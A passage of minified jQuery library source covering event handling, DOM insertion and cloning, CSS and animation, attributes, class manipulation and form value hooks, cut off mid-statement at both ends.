c,d,e,f,g,h=[],i=b.delegateCount,j=a.target;if(i&&j.nodeType&&!("click"===a.type&&a.button>=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c<i;c++)d=b[c],e=d.selector+" ",void 0===g[e]&&(g[e]=d.needsContext?r(e,this).index(j)>-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i<b.length&&h.push({elem:j,handlers:b.slice(i)}),h},addProp:function(a,b){Object.defineProperty(r.Event.prototype,a,{enumerable:!0,configurable:!0,get:r.isFunction(b)?function(){if(this.originalEvent)return b(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[a]},set:function(b){Object.defineProperty(this,a,{enumerable:!0,configurable:!0,writable:!0,value:b})}})},fix:function(a){return a[r.expando]?a:new r.Event(a)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==xa()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===xa()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&B(this,"input"))return this.click(),!1},_default:function(a){return B(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}}},r.removeEvent=function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)},r.Event=function(a,b){return this instanceof r.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?va:wa,this.target=a.target&&3===a.target.nodeType?a.target.parentNode:a.target,this.currentTarget=a.currentTarget,this.relatedTarget=a.relatedTarget):this.type=a,b&&r.extend(this,b),this.timeStamp=a&&a.timeStamp||r.now(),void(this[r.expando]=!0)):new r.Event(a,b)},r.Event.prototype={constructor:r.Event,isDefaultPrevented:wa,isPropagationStopped:wa,isImmediatePropagationStopped:wa,isSimulated:!1,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=va,a&&!this.isSimulated&&a.preventDefault()},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=va,a&&!this.isSimulated&&a.stopPropagation()},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=va,a&&!this.isSimulated&&a.stopImmediatePropagation(),this.stopPropagation()}},r.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(a){var b=a.button;return null==a.which&&sa.test(a.type)?null!=a.charCode?a.charCode:a.keyCode:!a.which&&void 0!==b&&ta.test(a.type)?1&b?1:2&b?3:4&b?2:0:a.which}},r.event.addProp),r.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){r.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||r.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),r.fn.extend({on:function(a,b,c,d){return ya(this,a,b,c,d)},one:function(a,b,c,d){return ya(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,r(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=wa),this.each(function(){r.event.remove(this,a,c,b)})}});var za=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/<script|<style|<link/i,Ba=/checked\s*(?:[^=]|=\s*.checked.)/i,Ca=/^true\/(.*)/,Da=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c<d;c++)r.event.add(b,e,j[e][c])}X.hasData(a)&&(h=X.access(a),i=r.extend({},h),X.set(b,i))}}function Ia(a,b){var c=b.nodeName.toLowerCase();"input"===c&&ja.test(a.type)?b.checked=a.checked:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}function Ja(a,b,c,d){b=g.apply([],b);var e,f,h,i,j,k,l=0,m=a.length,n=m-1,q=b[0],s=r.isFunction(q);if(s||m>1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l<m;l++)j=e,l!==n&&(j=r.clone(j,!0,!0),i&&r.merge(h,na(j,"script"))),c.call(a[l],j,l);if(i)for(k=h[h.length-1].ownerDocument,r.map(h,Ga),l=0;l<i;l++)j=h[l],la.test(j.type||"")&&!W.access(j,"globalEval")&&r.contains(k,j)&&(j.src?r._evalUrl&&r._evalUrl(j.src):p(j.textContent.replace(Da,""),k))}return a}function Ka(a,b,c){for(var d,e=b?r.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||r.cleanData(na(d)),d.parentNode&&(c&&r.contains(d.ownerDocument,d)&&oa(na(d,"script")),d.parentNode.removeChild(d));return a}r.extend({htmlPrefilter:function(a){return a.replace(za,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d<e;d++)Ia(f[d],g[d]);if(b)if(c)for(f=f||na(a),g=g||na(h),d=0,e=f.length;d<e;d++)Ha(f[d],g[d]);else Ha(a,h);return g=na(h,"script"),g.length>0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c<d;c++)b=this[c]||{},1===b.nodeType&&(r.cleanData(na(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ja(this,arguments,function(b){var c=this.parentNode;r.inArray(this,a)<0&&(r.cleanData(na(this)),c&&c.replaceChild(b,this))},a)}}),r.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){r.fn[a]=function(a){for(var c,d=[],e=r(a),f=e.length-1,g=0;g<=f;g++)c=g===f?this:this.clone(!0),r(e[g])[b](c),h.apply(d,c.get());return this.pushStack(d)}});var La=/^margin/,Ma=new RegExp("^("+aa+")(?!px)[a-z%]+$","i"),Na=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)};!function(){function b(){if(i){i.style.cssText="box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",i.innerHTML="",ra.appendChild(h);var b=a.getComputedStyle(i);c="1%"!==b.top,g="2px"===b.marginLeft,e="4px"===b.width,i.style.marginRight="50%",f="4px"===b.marginRight,ra.removeChild(h),i=null}}var c,e,f,g,h=d.createElement("div"),i=d.createElement("div");i.style&&(i.style.backgroundClip="content-box",i.cloneNode(!0).style.backgroundClip="",o.clearCloneStyle="content-box"===i.style.backgroundClip,h.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",h.appendChild(i),r.extend(o,{pixelPosition:function(){return b(),c},boxSizingReliable:function(){return b(),e},pixelMarginRight:function(){return b(),f},reliableMarginLeft:function(){return b(),g}}))}();function Oa(a,b,c){var d,e,f,g,h=a.style;return c=c||Na(a),c&&(g=c.getPropertyValue(b)||c[b],""!==g||r.contains(a.ownerDocument,a)||(g=r.style(a,b)),!o.pixelMarginRight()&&Ma.test(g)&&La.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0!==g?g+"":g}function Pa(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Qa=/^(none|table(?!-c[ea]).+)/,Ra=/^--/,Sa={position:"absolute",visibility:"hidden",display:"block"},Ta={letterSpacing:"0",fontWeight:"400"},Ua=["Webkit","Moz","ms"],Va=d.createElement("div").style;function Wa(a){if(a in Va)return a;var b=a[0].toUpperCase()+a.slice(1),c=Ua.length;while(c--)if(a=Ua[c]+b,a in Va)return a}function Xa(a){var b=r.cssProps[a];return b||(b=r.cssProps[a]=Wa(a)||a),b}function Ya(a,b,c){var d=ba.exec(b);return d?Math.max(0,d[2]-(c||0))+(d[3]||"px"):b}function Za(a,b,c,d,e){var f,g=0;for(f=c===(d?"border":"content")?4:"width"===b?1:0;f<4;f+=2)"margin"===c&&(g+=r.css(a,c+ca[f],!0,e)),d?("content"===c&&(g-=r.css(a,"padding"+ca[f],!0,e)),"margin"!==c&&(g-=r.css(a,"border"+ca[f]+"Width",!0,e))):(g+=r.css(a,"padding"+ca[f],!0,e),"padding"!==c&&(g+=r.css(a,"border"+ca[f]+"Width",!0,e)));return g}function $a(a,b,c){var d,e=Na(a),f=Oa(a,b,e),g="border-box"===r.css(a,"boxSizing",!1,e);return Ma.test(f)?f:(d=g&&(o.boxSizingReliable()||f===a.style[b]),"auto"===f&&(f=a["offset"+b[0].toUpperCase()+b.slice(1)]),f=parseFloat(f)||0,f+Za(a,b,c||(g?"border":"content"),d,e)+"px")}r.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Oa(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":"cssFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=r.camelCase(b),i=Ra.test(b),j=a.style;return i||(b=Xa(h)),g=r.cssHooks[b]||r.cssHooks[h],void 0===c?g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:j[b]:(f=typeof c,"string"===f&&(e=ba.exec(c))&&e[1]&&(c=fa(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(r.cssNumber[h]?"":"px")),o.clearCloneStyle||""!==c||0!==b.indexOf("background")||(j[b]="inherit"),g&&"set"in g&&void 0===(c=g.set(a,c,d))||(i?j.setProperty(b,c):j[b]=c)),void 0)}},css:function(a,b,c,d){var e,f,g,h=r.camelCase(b),i=Ra.test(b);return i||(b=Xa(h)),g=r.cssHooks[b]||r.cssHooks[h],g&&"get"in g&&(e=g.get(a,!0,c)),void 0===e&&(e=Oa(a,b,d)),"normal"===e&&b in Ta&&(e=Ta[b]),""===c||c?(f=parseFloat(e),c===!0||isFinite(f)?f||0:e):e}}),r.each(["height","width"],function(a,b){r.cssHooks[b]={get:function(a,c,d){if(c)return!Qa.test(r.css(a,"display"))||a.getClientRects().length&&a.getBoundingClientRect().width?$a(a,b,d):ea(a,Sa,function(){return $a(a,b,d)})},set:function(a,c,d){var e,f=d&&Na(a),g=d&&Za(a,b,d,"border-box"===r.css(a,"boxSizing",!1,f),f);return g&&(e=ba.exec(c))&&"px"!==(e[3]||"px")&&(a.style[b]=c,c=r.css(a,b)),Ya(a,c,g)}}}),r.cssHooks.marginLeft=Pa(o.reliableMarginLeft,function(a,b){if(b)return(parseFloat(Oa(a,"marginLeft"))||a.getBoundingClientRect().left-ea(a,{marginLeft:0},function(){return a.getBoundingClientRect().left}))+"px"}),r.each({margin:"",padding:"",border:"Width"},function(a,b){r.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];d<4;d++)e[a+ca[d]+b]=f[d]||f[d-2]||f[0];return e}},La.test(a)||(r.cssHooks[a+b].set=Ya)}),r.fn.extend({css:function(a,b){return T(this,function(a,b,c){var d,e,f={},g=0;if(Array.isArray(b)){for(d=Na(a),e=b.length;g<e;g++)f[b[g]]=r.css(a,b[g],!1,d);return f}return void 0!==c?r.style(a,b,c):r.css(a,b)},a,b,arguments.length>1)}});function _a(a,b,c,d,e){return new _a.prototype.init(a,b,c,d,e)}r.Tween=_a,_a.prototype={constructor:_a,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=_a.propHooks[this.prop];return a&&a.get?a.get(this):_a.propHooks._default.get(this)},run:function(a){var b,c=_a.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):_a.propHooks._default.set(this),this}},_a.prototype.init.prototype=_a.prototype,_a.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},_a.propHooks.scrollTop=_a.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=_a.prototype.init,r.fx.step={};var ab,bb,cb=/^(?:toggle|show|hide)$/,db=/queueHooks$/;function eb(){bb&&(d.hidden===!1&&a.requestAnimationFrame?a.requestAnimationFrame(eb):a.setTimeout(eb,r.fx.interval),r.fx.tick())}function fb(){return a.setTimeout(function(){ab=void 0}),ab=r.now()}function gb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ca[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function hb(a,b,c){for(var d,e=(kb.tweeners[b]||[]).concat(kb.tweeners["*"]),f=0,g=e.length;f<g;f++)if(d=e[f].call(c,b,a))return d}function ib(a,b,c){var d,e,f,g,h,i,j,k,l="width"in b||"height"in b,m=this,n={},o=a.style,p=a.nodeType&&da(a),q=W.get(a,"fxshow");c.queue||(g=r._queueHooks(a,"fx"),null==g.unqueued&&(g.unqueued=0,h=g.empty.fire,g.empty.fire=function(){g.unqueued||h()}),g.unqueued++,m.always(function(){m.always(function(){g.unqueued--,r.queue(a,"fx").length||g.empty.fire()})}));for(d in b)if(e=b[d],cb.test(e)){if(delete b[d],f=f||"toggle"===e,e===(p?"hide":"show")){if("show"!==e||!q||void 0===q[d])continue;p=!0}n[d]=q&&q[d]||r.style(a,d)}if(i=!r.isEmptyObject(b),i||!r.isEmptyObject(n)){l&&1===a.nodeType&&(c.overflow=[o.overflow,o.overflowX,o.overflowY],j=q&&q.display,null==j&&(j=W.get(a,"display")),k=r.css(a,"display"),"none"===k&&(j?k=j:(ia([a],!0),j=a.style.display||j,k=r.css(a,"display"),ia([a]))),("inline"===k||"inline-block"===k&&null!=j)&&"none"===r.css(a,"float")&&(i||(m.done(function(){o.display=j}),null==j&&(k=o.display,j="none"===k?"":k)),o.display="inline-block")),c.overflow&&(o.overflow="hidden",m.always(function(){o.overflow=c.overflow[0],o.overflowX=c.overflow[1],o.overflowY=c.overflow[2]})),i=!1;for(d in n)i||(q?"hidden"in q&&(p=q.hidden):q=W.access(a,"fxshow",{display:j}),f&&(q.hidden=!p),p&&ia([a],!0),m.done(function(){p||ia([a]),W.remove(a,"fxshow");for(d in n)r.style(a,d,n[d])})),i=hb(p?q[d]:0,d,m),d in q||(q[d]=i.start,p&&(i.end=i.start,i.start=0))}}function jb(a,b){var c,d,e,f,g;for(c in a)if(d=r.camelCase(c),e=b[d],f=a[c],Array.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=r.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function kb(a,b,c){var d,e,f=0,g=kb.prefilters.length,h=r.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=ab||fb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;g<i;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),f<1&&i?c:(i||h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:r.extend({},b),opts:r.extend(!0,{specialEasing:{},easing:r.easing._default},c),originalProperties:b,originalOptions:c,startTime:ab||fb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=r.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;c<d;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(jb(k,j.opts.specialEasing);f<g;f++)if(d=kb.prefilters[f].call(j,a,k,j.opts))return r.isFunction(d.stop)&&(r._queueHooks(j.elem,j.opts.queue).stop=r.proxy(d.stop,d)),d;return r.map(k,hb,j),r.isFunction(j.opts.start)&&j.opts.start.call(a,j),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always),r.fx.timer(r.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j}r.Animation=r.extend(kb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return fa(c.elem,a,ba.exec(b),c),c}]},tweener:function(a,b){r.isFunction(a)?(b=a,a=["*"]):a=a.match(L);for(var c,d=0,e=a.length;d<e;d++)c=a[d],kb.tweeners[c]=kb.tweeners[c]||[],kb.tweeners[c].unshift(b)},prefilters:[ib],prefilter:function(a,b){b?kb.prefilters.unshift(a):kb.prefilters.push(a)}}),r.speed=function(a,b,c){var d=a&&"object"==typeof a?r.extend({},a):{complete:c||!c&&b||r.isFunction(a)&&a,duration:a,easing:c&&b||b&&!r.isFunction(b)&&b};return r.fx.off?d.duration=0:"number"!=typeof d.duration&&(d.duration in r.fx.speeds?d.duration=r.fx.speeds[d.duration]:d.duration=r.fx.speeds._default),null!=d.queue&&d.queue!==!0||(d.queue="fx"),d.old=d.complete,d.complete=function(){r.isFunction(d.old)&&d.old.call(this),d.queue&&r.dequeue(this,d.queue)},d},r.fn.extend({fadeTo:function(a,b,c,d){return this.filter(da).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=r.isEmptyObject(a),f=r.speed(b,c,d),g=function(){var b=kb(this,r.extend({},a),f);(e||W.get(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=r.timers,g=W.get(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&db.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||r.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=W.get(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=r.timers,g=d?d.length:0;for(c.finish=!0,r.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;b<g;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),r.each(["toggle","show","hide"],function(a,b){var c=r.fn[b];r.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(gb(b,!0),a,d,e)}}),r.each({slideDown:gb("show"),slideUp:gb("hide"),slideToggle:gb("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){r.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),r.timers=[],r.fx.tick=function(){var a,b=0,c=r.timers;for(ab=r.now();b<c.length;b++)a=c[b],a()||c[b]!==a||c.splice(b--,1);c.length||r.fx.stop(),ab=void 0},r.fx.timer=function(a){r.timers.push(a),r.fx.start()},r.fx.interval=13,r.fx.start=function(){bb||(bb=!0,eb())},r.fx.stop=function(){bb=null},r.fx.speeds={slow:600,fast:200,_default:400},r.fn.delay=function(b,c){return b=r.fx?r.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a=d.createElement("input"),b=d.createElement("select"),c=b.appendChild(d.createElement("option"));a.type="checkbox",o.checkOn=""!==a.value,o.optSelected=c.selected,a=d.createElement("input"),a.value="t",a.type="radio",o.radioValue="t"===a.value}();var lb,mb=r.expr.attrHandle;r.fn.extend({attr:function(a,b){return T(this,r.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?lb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b),
null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),lb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=mb[b]||r.find.attr;mb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=mb[g],mb[g]=e,e=null!=c(a,b,d)?g:null,mb[g]=f),e}});var nb=/^(?:input|select|textarea|button)$/i,ob=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):nb.test(a.nodeName)||ob.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function pb(a){var b=a.match(L)||[];return b.join(" ")}function qb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,qb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,qb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,qb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=qb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+pb(qb(c))+" ").indexOf(b)>-1)return!0;return!1}});var rb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:pb(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d<i;d++)if(c=e[d],(c.selected||d===f)&&!c.disabled&&(!c.parentNode.disabled||!B(c.parentNode,"optgroup"))){if(b=r(c).val(),g)return b;h.push(b)}return h},set:function(a,b){var c,d,e=a.options,f=r.makeArray(b),g=e.length;while(g--)d=e[g],(d.selected=r.inArray(r.valHooks.option.get(d),f)>-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var sb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var 